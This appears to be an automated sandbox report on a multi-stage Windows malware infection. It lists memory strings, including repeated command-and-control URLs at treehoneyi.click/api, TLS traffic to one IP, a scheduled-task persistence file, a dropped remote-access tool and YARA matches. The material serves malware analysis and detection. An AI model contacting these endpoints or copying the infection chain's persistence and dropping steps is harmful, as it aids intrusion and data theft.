Source: 81c86993fb.exe, 00000009.00000003.2590946624.000000000544D000.00000004.00000800.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2591071971.000000000544A000.00000004.00000800.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2591403294.000000000544A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 81c86993fb.exe, 00000009.00000003.2590946624.000000000544D000.00000004.00000800.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2591071971.000000000544A000.00000004.00000800.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2591403294.000000000544A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 81c86993fb.exe, 00000009.00000003.2590946624.000000000544D000.00000004.00000800.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2591071971.000000000544A000.00000004.00000800.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2591403294.000000000544A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 855fa1aa94.exe, 0000000C.00000002.2695578636.0000000002FE1000.00000004.00000800.00020000.00000000.sdmp, 855fa1aa94.exe, 0000000C.00000002.2698113110.00000000040AD000.00000004.00000800.00020000.00000000.sdmp, 855fa1aa94.exe, 0000000C.00000002.2698113110.0000000003FE1000.00000004.00000800.00020000.00000000.sdmp, 855fa1aa94.exe, 0000000C.00000002.2700875788.0000000005650000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: 855fa1aa94.exe, 0000000C.00000002.2695578636.0000000002FE1000.00000004.00000800.00020000.00000000.sdmp, 855fa1aa94.exe, 0000000C.00000002.2698113110.00000000040AD000.00000004.00000800.00020000.00000000.sdmp, 855fa1aa94.exe, 0000000C.00000002.2698113110.0000000003FE1000.00000004.00000800.00020000.00000000.sdmp, 855fa1aa94.exe, 0000000C.00000002.2700875788.0000000005650000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: 855fa1aa94.exe, 0000000C.00000002.2695578636.0000000002FE1000.00000004.00000800.00020000.00000000.sdmp, 855fa1aa94.exe, 0000000C.00000002.2698113110.00000000040AD000.00000004.00000800.00020000.00000000.sdmp, 855fa1aa94.exe, 0000000C.00000002.2698113110.0000000003FE1000.00000004.00000800.00020000.00000000.sdmp, 855fa1aa94.exe, 0000000C.00000002.2700875788.0000000005650000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: 977f9058dc.exe, 0000000D.00000003.2748030848.000000000756F000.00000004.00001000.00020000.00000000.sdmp, 954af05edd.exe, 0000000E.00000003.2868215169.0000000007676000.00000004.00001000.00020000.00000000.sdmp, 954af05edd.exe, 0000000E.00000002.2909489493.0000000000BDD000.00000040.00000001.01000000.0000001A.sdmp	String found in binary or memory: https://httpbin.org/ip
Source: 977f9058dc.exe, 0000000D.00000003.2748030848.000000000756F000.00000004.00001000.00020000.00000000.sdmp, 954af05edd.exe, 0000000E.00000003.2868215169.0000000007676000.00000004.00001000.00020000.00000000.sdmp, 954af05edd.exe, 0000000E.00000002.2909489493.0000000000BDD000.00000040.00000001.01000000.0000001A.sdmp	String found in binary or memory: https://httpbin.org/ipbefore
Source: 81c86993fb.exe, 00000009.00000003.2662657308.00000000006C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: skotes.exe, 00000005.00000002.3000881304.0000000000EE9000.00000004.00000020.00020000.00000000.sdmp, 855fa1aa94.exe, 0000000A.00000000.2603259057.00000000000E2000.00000002.00000001.01000000.00000013.sdmp, 855fa1aa94.exe, 0000000A.00000002.2681187847.0000000002511000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sci.libertyreserve.com/
Source: 855fa1aa94.exe, 0000000C.00000002.2695578636.0000000002FE1000.00000004.00000800.00020000.00000000.sdmp, 855fa1aa94.exe, 0000000C.00000002.2698113110.00000000040AD000.00000004.00000800.00020000.00000000.sdmp, 855fa1aa94.exe, 0000000C.00000002.2698113110.0000000003FE1000.00000004.00000800.00020000.00000000.sdmp, 855fa1aa94.exe, 0000000C.00000002.2700875788.0000000005650000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: 855fa1aa94.exe, 0000000C.00000002.2695578636.0000000002FE1000.00000004.00000800.00020000.00000000.sdmp, 855fa1aa94.exe, 0000000C.00000002.2698113110.00000000040AD000.00000004.00000800.00020000.00000000.sdmp, 855fa1aa94.exe, 0000000C.00000002.2698113110.0000000003FE1000.00000004.00000800.00020000.00000000.sdmp, 855fa1aa94.exe, 0000000C.00000002.2700875788.0000000005650000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: 855fa1aa94.exe, 0000000C.00000002.2698113110.00000000040AD000.00000004.00000800.00020000.00000000.sdmp, 855fa1aa94.exe, 0000000C.00000002.2698113110.0000000003FE1000.00000004.00000800.00020000.00000000.sdmp, 855fa1aa94.exe, 0000000C.00000002.2700875788.0000000005650000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354
Source: 81c86993fb.exe, 00000009.00000003.2592202642.0000000005460000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: 81c86993fb.exe, 00000009.00000003.2639826434.000000000552D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: 81c86993fb.exe, 00000009.00000003.2639826434.000000000552D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: 81c86993fb.exe, 00000009.00000003.2592202642.0000000005460000.00000004.00000800.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2592272211.0000000005459000.00000004.00000800.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2614855627.0000000005459000.00000004.00000800.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2614666984.0000000005459000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: 81c86993fb.exe, 00000009.00000003.2592272211.0000000005434000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: 81c86993fb.exe, 00000009.00000003.2592202642.0000000005460000.00000004.00000800.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2592272211.0000000005459000.00000004.00000800.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2614855627.0000000005459000.00000004.00000800.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2614666984.0000000005459000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: 81c86993fb.exe, 00000009.00000003.2592272211.0000000005434000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: 81c86993fb.exe, 00000009.00000003.2770484240.00000000006C3000.00000004.00000020.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2694246694.0000000005409000.00000004.00000800.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2709327903.00000000006C4000.00000004.00000020.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2590033856.000000000063D000.00000004.00000020.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2662510601.0000000005409000.00000004.00000800.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2687662908.000000000540C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/
Source: 81c86993fb.exe, 00000009.00000003.2639780160.0000000005409000.00000004.00000800.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2637801615.0000000005409000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/(P
Source: 81c86993fb.exe, 00000009.00000003.2590033856.0000000000623000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/-
Source: 81c86993fb.exe, 00000009.00000002.2771407342.00000000006C5000.00000004.00000020.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2769890676.00000000006B7000.00000004.00000020.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2770484240.00000000006C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/6
Source: 81c86993fb.exe, 00000009.00000003.2590033856.000000000065B000.00000004.00000020.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000002.2771407342.00000000006C5000.00000004.00000020.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2769890676.00000000006B7000.00000004.00000020.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2770484240.00000000006C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/F
Source: 81c86993fb.exe, 00000009.00000003.2709327903.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/W
Source: 81c86993fb.exe, 00000009.00000003.2590033856.000000000065B000.00000004.00000020.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2709327903.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/Y
Source: 81c86993fb.exe, 00000009.00000003.2687351251.00000000006B5000.00000004.00000020.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000002.2771381188.00000000006B7000.00000004.00000020.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2666288444.00000000006A6000.00000004.00000020.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2590033856.000000000065B000.00000004.00000020.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2665749339.000000000068B000.00000004.00000020.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2662713177.000000000540F000.00000004.00000800.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2614806232.00000000006CA000.00000004.00000020.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2769890676.00000000006B7000.00000004.00000020.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000002.2770929143.0000000000653000.00000004.00000020.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2666913985.00000000006A7000.00000004.00000020.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2769953130.000000000062D000.00000004.00000020.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2694068876.00000000006AD000.00000004.00000020.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2709327903.00000000006B7000.00000004.00000020.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2769953130.0000000000653000.00000004.00000020.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2590033856.000000000063D000.00000004.00000020.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2662510601.0000000005409000.00000004.00000800.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000002.2770929143.000000000062D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/api
Source: 81c86993fb.exe, 00000009.00000003.2662058371.0000000005405000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/api$
Source: 81c86993fb.exe, 00000009.00000003.2614806232.00000000006CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/api)
Source: 81c86993fb.exe, 00000009.00000003.2709327903.00000000006B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/apibu
Source: 81c86993fb.exe, 00000009.00000003.2666288444.00000000006A6000.00000004.00000020.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2665749339.000000000068B000.00000004.00000020.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2749476705.000000000540E000.00000004.00000800.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2710769414.0000000005409000.00000004.00000800.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2666913985.00000000006A7000.00000004.00000020.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2687768831.000000000540E000.00000004.00000800.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2687662908.000000000540C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/apil
Source: 81c86993fb.exe, 00000009.00000003.2590033856.000000000065B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/apiy
Source: 81c86993fb.exe, 00000009.00000003.2687351251.00000000006C4000.00000004.00000020.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2694068876.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/s
Source: 81c86993fb.exe, 00000009.00000003.2769953130.0000000000623000.00000004.00000020.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2590033856.0000000000623000.00000004.00000020.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000002.2770929143.0000000000623000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click:443/api
Source: 81c86993fb.exe, 00000009.00000003.2769953130.0000000000623000.00000004.00000020.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000002.2770929143.0000000000623000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click:443/apij
Source: 81c86993fb.exe, 00000009.00000003.2769953130.0000000000623000.00000004.00000020.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2665749339.0000000000623000.00000004.00000020.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2694442257.0000000000623000.00000004.00000020.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000002.2770929143.0000000000623000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click:443/apin.txtPK
Source: 81c86993fb.exe, 00000009.00000003.2662657308.00000000006C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: 81c86993fb.exe, 00000009.00000003.2590946624.000000000544D000.00000004.00000800.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2591071971.000000000544A000.00000004.00000800.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2591403294.000000000544A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 81c86993fb.exe, 00000009.00000003.2662657308.00000000006C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: remcmdstub.exe.6.dr	String found in binary or memory: https://www.globalsign.com/repository/0
Source: 81c86993fb.exe, 00000009.00000003.2590946624.000000000544D000.00000004.00000800.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2591071971.000000000544A000.00000004.00000800.00020000.00000000.sdmp, 81c86993fb.exe, 00000009.00000003.2591403294.000000000544A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 81c86993fb.exe, 00000009.00000003.2639826434.000000000552D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: 81c86993fb.exe, 00000009.00000003.2639826434.000000000552D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: 81c86993fb.exe, 00000009.00000003.2639826434.000000000552D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 81c86993fb.exe, 00000009.00000003.2639826434.000000000552D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 81c86993fb.exe, 00000009.00000003.2639826434.000000000552D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826

Source: unknown	HTTPS traffic detected: 104.21.91.209:443 -> 192.168.2.4:49812 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.91.209:443 -> 192.168.2.4:49820 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.91.209:443 -> 192.168.2.4:49826 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.91.209:443 -> 192.168.2.4:49832 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.91.209:443 -> 192.168.2.4:49843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.91.209:443 -> 192.168.2.4:49850 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.91.209:443 -> 192.168.2.4:49858 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.91.209:443 -> 192.168.2.4:49874 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.91.209:443 -> 192.168.2.4:49934 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.91.209:443 -> 192.168.2.4:49940 version: TLS 1.2

Source: Yara match	File source: 7.2.FuturreApp.exe.111b79e0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.YIFtngJ.exe.4fbe800.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.FuturreApp.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.3004602856.0000000011193000.00000002.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2450288231.0000000004E0F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: YIFtngJ.exe PID: 4464, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: FuturreApp.exe PID: 7132, type: MEMORYSTR
Source: Yara match	File source: C:\Users\Public\Netstat\PCICL32.DLL, type: DROPPED

System Summary

.NET source code contains very large array initializations

Source: 10.2.855fa1aa94.exe.408ce18.0.raw.unpack, Aexb5XGUHWH0ZbfQ2k.cs

Large array initialization: PYRp7SOSm: array initializer size 360688

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.5.dr	Static PE information: section name:
Source: random[1].exe.5.dr	Static PE information: section name: .idata
Source: random[1].exe.5.dr	Static PE information: section name:
Source: 81c86993fb.exe.5.dr	Static PE information: section name:
Source: 81c86993fb.exe.5.dr	Static PE information: section name: .idata
Source: 81c86993fb.exe.5.dr	Static PE information: section name:
Source: random[1].exe1.5.dr	Static PE information: section name:
Source: random[1].exe1.5.dr	Static PE information: section name: .idata
Source: random[1].exe1.5.dr	Static PE information: section name:
Source: 977f9058dc.exe.5.dr	Static PE information: section name:
Source: 977f9058dc.exe.5.dr	Static PE information: section name: .idata
Source: 977f9058dc.exe.5.dr	Static PE information: section name:
Source: random[1].exe2.5.dr	Static PE information: section name:
Source: random[1].exe2.5.dr	Static PE information: section name: .idata
Source: random[1].exe2.5.dr	Static PE information: section name:
Source: 954af05edd.exe.5.dr	Static PE information: section name:
Source: 954af05edd.exe.5.dr	Static PE information: section name: .idata
Source: 954af05edd.exe.5.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 5_2_009ECB97 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,

5_2_009ECB97

Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe

Code function: 6_2_00B67070: __EH_prolog,CreateFileW,CloseHandle,CreateDirectoryW,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW,

6_2_00B67070

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009278BB	0_2_009278BB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00927049	0_2_00927049
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00928860	0_2_00928860
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009231A8	0_2_009231A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008E4B30	0_2_008E4B30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008E4DE0	0_2_008E4DE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00922D10	0_2_00922D10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0092779B	0_2_0092779B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00917F36	0_2_00917F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00A178BB	1_2_00A178BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00A18860	1_2_00A18860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00A17049	1_2_00A17049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00A131A8	1_2_00A131A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_009D4B30	1_2_009D4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_009D4DE0	1_2_009D4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00A12D10	1_2_00A12D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00A1779B	1_2_00A1779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00A07F36	1_2_00A07F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_009DE530	5_2_009DE530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_009F6192	5_2_009F6192
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00A18860	5_2_00A18860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_009D4B30	5_2_009D4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_009D4DE0	5_2_009D4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00A12D10	5_2_00A12D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_009F0E13	5_2_009F0E13
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00A17049	5_2_00A17049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00A131A8	5_2_00A131A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_009F1602	5_2_009F1602
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00A1779B	5_2_00A1779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00A178BB	5_2_00A178BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_009F3DF1	5_2_009F3DF1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00A07F36	5_2_00A07F36
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Code function: 6_2_00B75984	6_2_00B75984
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Code function: 6_2_00B68409	6_2_00B68409
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Code function: 6_2_00B730E6	6_2_00B730E6
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Code function: 6_2_00B8E8D4	6_2_00B8E8D4
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Code function: 6_2_00B6E045	6_2_00B6E045
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Code function: 6_2_00B6D1D2	6_2_00B6D1D2
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Code function: 6_2_00B7E94A	6_2_00B7E94A
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Code function: 6_2_00B7FAC8	6_2_00B7FAC8
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Code function: 6_2_00B6BA1A	6_2_00B6BA1A
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Code function: 6_2_00B63203	6_2_00B63203
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Code function: 6_2_00B7F25E	6_2_00B7F25E
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Code function: 6_2_00B763F2	6_2_00B763F2
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Code function: 6_2_00B6DBE2	6_2_00B6DBE2
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Code function: 6_2_00B72B3A	6_2_00B72B3A
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Code function: 6_2_00B82B78	6_2_00B82B78
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Code function: 6_2_00B8A35E	6_2_00B8A35E
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Code function: 6_2_00B6EC97	6_2_00B6EC97
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Code function: 6_2_00B72DB5	6_2_00B72DB5
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Code function: 6_2_00B75DB9	6_2_00B75DB9
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Code function: 6_2_00B6D5E4	6_2_00B6D5E4
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Code function: 6_2_00B89EB0	6_2_00B89EB0
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Code function: 6_2_00B65E96	6_2_00B65E96
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Code function: 6_2_00B7F693	6_2_00B7F693
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Code function: 6_2_00B7EE46	6_2_00B7EE46
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Code function: 6_2_00B74FB5	6_2_00B74FB5
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Code function: 6_2_00B63FC5	6_2_00B63FC5
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Code function: 6_2_00B6276C	6_2_00B6276C

Source: Joe Sandbox View	Dropped File: C:\Users\Public\Netstat\FuturreApp.exe 49A568F8AC11173E3A0D76CFF6BC1D4B9BDF2C35C6D8570177422F142DCFDBE3
